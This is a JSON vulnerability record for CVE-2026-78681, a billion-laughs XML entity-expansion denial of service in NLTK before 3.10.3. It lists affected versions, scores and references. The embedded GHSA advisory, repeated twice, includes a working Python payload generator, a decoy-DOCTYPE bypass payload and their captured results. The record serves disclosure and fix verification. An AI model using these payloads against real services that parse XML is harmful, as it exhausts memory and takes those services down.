{"id":"CVE-2026-78681","aliases":["DEBIAN-CVE-2026-78681","EUVD-2026-65227","GHSA-97qj-x29f-37w7","GHSA-jx89-3qg8-p2mr","MGASA-2026-0340","PYSEC-2026-3748"],"status":"published","title":"NLTK before 3.10.3 Entity Expansion DoS via ElementTree","description":"NLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00521,"percentile":0.4471,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-776"],"published":"2026-08-25T01:30:37Z","modified":"2026-10-28T02:30:32Z","fixes":[{"ecosystem":"PyPI","package":"nltk","fixed_in":["3.10.3"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"nltk","fixed_in":["3.10.3-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.10.2"},{"fixed":"3.10.3"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.10.0-1","3.10.1-1","3.10.3-1","3.8-1","3.8.1-1","3.9.1-1","3.9.1-2","3.9.2-1","3.9.3-1"]},{"source":"osv","ecosystem":"Debian:13","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.10.0-1","3.10.1-1","3.10.3-1","3.9.1-2","3.9.2-1","3.9.3-1"]},{"source":"osv","ecosystem":"Debian:14","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.3-1"}]}],"versions":["3.10.0-1","3.10.1-1","3.9.1-2","3.9.2-1","3.9.3-1"]},{"source":"osv","ecosystem":"PyPI","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.3"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.10.0","3.10.1","3.10.2","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"]},{"source":"osv","ecosystem":"Mageia:10","package":"python-nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.3-1.mga10"}]}],"bundled":18},{"source":"osv","ecosystem":"Mageia:9","package":"python-nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.3-1.mga9"}]}],"bundled":18},{"source":"osv","ecosystem":"PyPI","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.3"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.10.0","3.10.1","3.10.2","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"]}],"products":[{"vendor":"nltk","product":"nltk"}],"references":[{"url":"https://github.com/nltk/nltk/security/advisories/GHSA-97qj-x29f-37w7","tags":["vendor-advisory","Exploit","Vendor Advisory","advisory","web","evidence"]},{"url":"https://www.vulncheck.com/advisories/nltk-before-entity-expansion-dos-via-elementtree","tags":["third-party-advisory","Third Party Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78681","tags":["advisory"]},{"url":"https://github.com/nltk/nltk/commit/e91789c9a043296ad04912ce171c22776d45963b","tags":["web"]},{"url":"https://github.com/nltk/nltk/releases/tag/v3.10.3","tags":["web"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3748.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-97qj-x29f-37w7"},{"url":"https://github.com/advisories/GHSA-jx89-3qg8-p2mr"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/78xxx/CVE-2026-78681.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-78681","tags":["advisory"]},{"url":"https://github.com/nltk/nltk","tags":["package"]},{"url":"https://advisories.mageia.org/MGASA-2026-0340.html","tags":["advisory"]},{"url":"https://bugs.mageia.org/show_bug.cgi?id=36186","tags":["report"]},{"url":"https://github.com/nltk/nltk/releases#release-v3.10.0","tags":["web"]},{"url":"https://github.com/nltk/nltk/releases#release-v3.10.2","tags":["web"]},{"url":"https://github.com/nltk/nltk/releases#release-v3.10.3","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-78681","title":"NLTK before 3.10.3 Entity Expansion DoS via ElementTree","description":"NLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.","status":"published","published":"2026-08-25T01:30:37.749Z","modified":"2026-08-26T16:12:19.369Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-776"],"updated_at":"2026-11-02T13:34:59.78118Z"}],"euvd":[{"id":"EUVD-2026-65227","description":"NLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.","status":"published","published":"2026-08-25T01:30:37Z","modified":"2026-08-26T16:12:19Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:01:30.542287Z"}],"ghsa":[{"id":"GHSA-97qj-x29f-37w7","title":"NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses","description":"Several XML parsing sites in NLTK still used `xml.etree.ElementTree` directly, which honours `\u003c!ENTITY\u003e` declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service.\n\nAffected call sites (\u003c= 3.10.2):\n- `nltk.chunk.named_entity.load_ace_file` — parses ACE annotation XML\n- `nltk.internals.ElementWrapper` — converts any given string to an Element\n- `nltk.downloader` — `Package.fromxml`, `Collection.fromxml`, `_find_collections`, `_find_packages`\n\nlibexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure.\n\nThis completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new `nltk.xmlsec` module that refuses entity declarations, preferring `defusedxml` and falling back to a standard-library `xml.parsers.expat` pre-scan when defusedxml is absent.\n\n---\n\n## Attack demonstration\n\nReproducible PoC against a real affected entry point (`nltk.internals.ElementWrapper`). Every number below is captured output, not illustrative.\n\n### 1. The amplification (vulnerable path: raw `xml.etree.ElementTree`)\n\nA payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input:\n\n| levels | input bytes | expanded bytes | factor |\n|--------|-------------|----------------|--------|\n| 3 | 218 | 10,000 | x45 |\n| 4 | 274 | 100,000 | x364 |\n| 5 | 330 | 1,000,000 | x3,030 |\n| 6 | 386 | (libexpat 2.7.1 cap trips) | - |\n\nThe level-6 cap is **libexpat's**, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold — up to ~1 MB per parse here — expansion always succeeds.\n\n```python\nimport xml.etree.ElementTree as ET\ndef bomb(levels):\n    d = \"\\n\".join(f'\u003c!ENTITY e{i} \"{(\"\u0026e%d;\"%(i-1))*10}\"\u003e' for i in range(1, levels+1))\n    return f'\u003c!DOCTYPE d [\u003c!ENTITY e0 \"AAAAAAAAAA\"\u003e{d}]\u003e\u003cd\u003e\u0026e{levels};\u003c/d\u003e'\nET.fromstring(bomb(5))   # -\u003e element whose .text is 1,000,000 chars\n```\n\n### 2. The patched entry point rejects it\n\n```\n\u003e\u003e\u003e from nltk.internals import ElementWrapper\n\u003e\u003e\u003e ElementWrapper(bomb(5))\nEntitiesForbidden: EntitiesForbidden(name='e0', ...)\n```\n\n### 3. Why a text-based screen is not enough\n\nAn entity declaration can hide behind a decoy `\u003c!DOCTYPE\u003e` in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not:\n\n```python\nevil = '\u003c!-- \u003c!DOCTYPE x [ ] \u003e --\u003e\u003c!DOCTYPE d [\u003c!ENTITY a \"PPPP...\"\u003e]\u003e\u003cd\u003e\u0026a;\u003c/d\u003e'\n```\n\n```\nraw ElementTree -\u003e EXPANDS ('PPPPPPPPPPPP...', 40 chars)\nnltk.xmlsec     -\u003e REJECTED (EntitiesForbidden)\n```\n\nAn earlier draft of the fallback that walked the text **was** bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray `]` inside a PI in the internal subset). All five are now regression tests.\n\n### 4. Both back ends block it\n\n`nltk.xmlsec` prefers `defusedxml` and falls back to a stdlib `xml.parsers.expat` pre-scan. Same payloads, defusedxml hidden to force the fallback:\n\n```\nstdlib fallback | billion-laughs               -\u003e REJECTED (EntitiesForbidden)\nstdlib fallback | comment-decoy differential   -\u003e REJECTED (EntitiesForbidden)\n```\n\nEnvironment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor).","status":"published","published":"2026-09-08T16:42:18Z","modified":"2026-09-08T16:42:19Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-776"],"updated_at":"2026-11-02T14:41:13.477974Z"},{"id":"GHSA-jx89-3qg8-p2mr","title":"Duplicate Advisory: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses (CWE-776)","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-97qj-x29f-37w7. This link is maintained to preserve external references.\n\n## Original Description\n\nNLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.","status":"withdrawn","published":"2026-08-25T03:32:11Z","modified":"2026-09-02T14:39:56Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-776"],"updated_at":"2026-11-02T14:41:10.121131Z"}],"nvd":[{"id":"CVE-2026-78681","description":"NLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.","status":"published","published":"2026-08-25T02:16:52.75Z","modified":"2026-10-12T21:10:00.227Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-776"],"updated_at":"2026-11-02T14:12:41.018848Z"}],"osv":[{"id":"CVE-2026-78681","title":"NLTK before 3.10.3 Entity Expansion DoS via ElementTree","description":"NLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.","status":"published","published":"2026-08-25T01:30:37.749Z","modified":"2026-10-28T02:30:32.515778858Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-776"],"updated_at":"2026-11-02T15:45:17.44708Z"},{"id":"DEBIAN-CVE-2026-78681","description":"NLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.","status":"published","published":"2026-08-25T02:16:52.75Z","modified":"2026-10-13T09:47:29.65234399Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:46:03.502256Z"},{"id":"GHSA-97qj-x29f-37w7","title":"NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses","description":"Several XML parsing sites in NLTK still used `xml.etree.ElementTree` directly, which honours `\u003c!ENTITY\u003e` declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service.\n\nAffected call sites (\u003c= 3.10.2):\n- `nltk.chunk.named_entity.load_ace_file` — parses ACE annotation XML\n- `nltk.internals.ElementWrapper` — converts any given string to an Element\n- `nltk.downloader` — `Package.fromxml`, `Collection.fromxml`, `_find_collections`, `_find_packages`\n\nlibexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure.\n\nThis completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new `nltk.xmlsec` module that refuses entity declarations, preferring `defusedxml` and falling back to a standard-library `xml.parsers.expat` pre-scan when defusedxml is absent.\n\n---\n\n## Attack demonstration\n\nReproducible PoC against a real affected entry point (`nltk.internals.ElementWrapper`). Every number below is captured output, not illustrative.\n\n### 1. The amplification (vulnerable path: raw `xml.etree.ElementTree`)\n\nA payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input:\n\n| levels | input bytes | expanded bytes | factor |\n|--------|-------------|----------------|--------|\n| 3 | 218 | 10,000 | x45 |\n| 4 | 274 | 100,000 | x364 |\n| 5 | 330 | 1,000,000 | x3,030 |\n| 6 | 386 | (libexpat 2.7.1 cap trips) | - |\n\nThe level-6 cap is **libexpat's**, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold — up to ~1 MB per parse here — expansion always succeeds.\n\n```python\nimport xml.etree.ElementTree as ET\ndef bomb(levels):\n    d = \"\\n\".join(f'\u003c!ENTITY e{i} \"{(\"\u0026e%d;\"%(i-1))*10}\"\u003e' for i in range(1, levels+1))\n    return f'\u003c!DOCTYPE d [\u003c!ENTITY e0 \"AAAAAAAAAA\"\u003e{d}]\u003e\u003cd\u003e\u0026e{levels};\u003c/d\u003e'\nET.fromstring(bomb(5))   # -\u003e element whose .text is 1,000,000 chars\n```\n\n### 2. The patched entry point rejects it\n\n```\n\u003e\u003e\u003e from nltk.internals import ElementWrapper\n\u003e\u003e\u003e ElementWrapper(bomb(5))\nEntitiesForbidden: EntitiesForbidden(name='e0', ...)\n```\n\n### 3. Why a text-based screen is not enough\n\nAn entity declaration can hide behind a decoy `\u003c!DOCTYPE\u003e` in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not:\n\n```python\nevil = '\u003c!-- \u003c!DOCTYPE x [ ] \u003e --\u003e\u003c!DOCTYPE d [\u003c!ENTITY a \"PPPP...\"\u003e]\u003e\u003cd\u003e\u0026a;\u003c/d\u003e'\n```\n\n```\nraw ElementTree -\u003e EXPANDS ('PPPPPPPPPPPP...', 40 chars)\nnltk.xmlsec     -\u003e REJECTED (EntitiesForbidden)\n```\n\nAn earlier draft of the fallback that walked the text **was** bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray `]` inside a PI in the internal subset). All five are now regression tests.\n\n### 4. Both back ends block it\n\n`nltk.xmlsec` prefers `defusedxml` and falls back to a stdlib `xml.parsers.expat` pre-scan. Same payloads, defusedxml hidden to force the fallback:\n\n```\nstdlib fallback | billion-laughs               -\u003e REJECTED (EntitiesForbidden)\nstdlib fallback | comment-decoy differential   -\u003e REJECTED (EntitiesForbidden)\n```\n\nEnvironment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor).","status":"published","published":"2026-09-08T16:42:18Z","modified":"2026-09-08T16:45:04.193148017Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-776"],"updated_at":"2026-11-02T15:46:43.524801Z"},{"id":"GHSA-jx89-3qg8-p2mr","title":"Duplicate Advisory: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses (CWE-776)","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-97qj-x29f-37w7. This link is maintained to preserve external references.\n\n## Original Description\n\nNLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.","status":"withdrawn","published":"2026-08-25T03:32:11Z","modified":"2026-09-02T15:00:09.006166422Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"},{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"cwes":["CWE-776"],"updated_at":"2026-11-02T15:46:51.10002Z"},{"id":"PYSEC-2026-3748","description":"NLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.","status":"published","published":"2026-08-25T02:16:52.75Z","modified":"2026-09-02T09:00:04.194017574Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:52:57.255153Z"},{"id":"MGASA-2026-0340","title":"Updated python-nltk packages fix security vulnerabilities","description":"Updated packages fix security vulnerabilities. Please see the links.\n","status":"published","published":"2026-08-29T15:47:31Z","modified":"2026-08-29T16:00:02.787972151Z","updated_at":"2026-11-02T15:49:43.795591Z"}]}}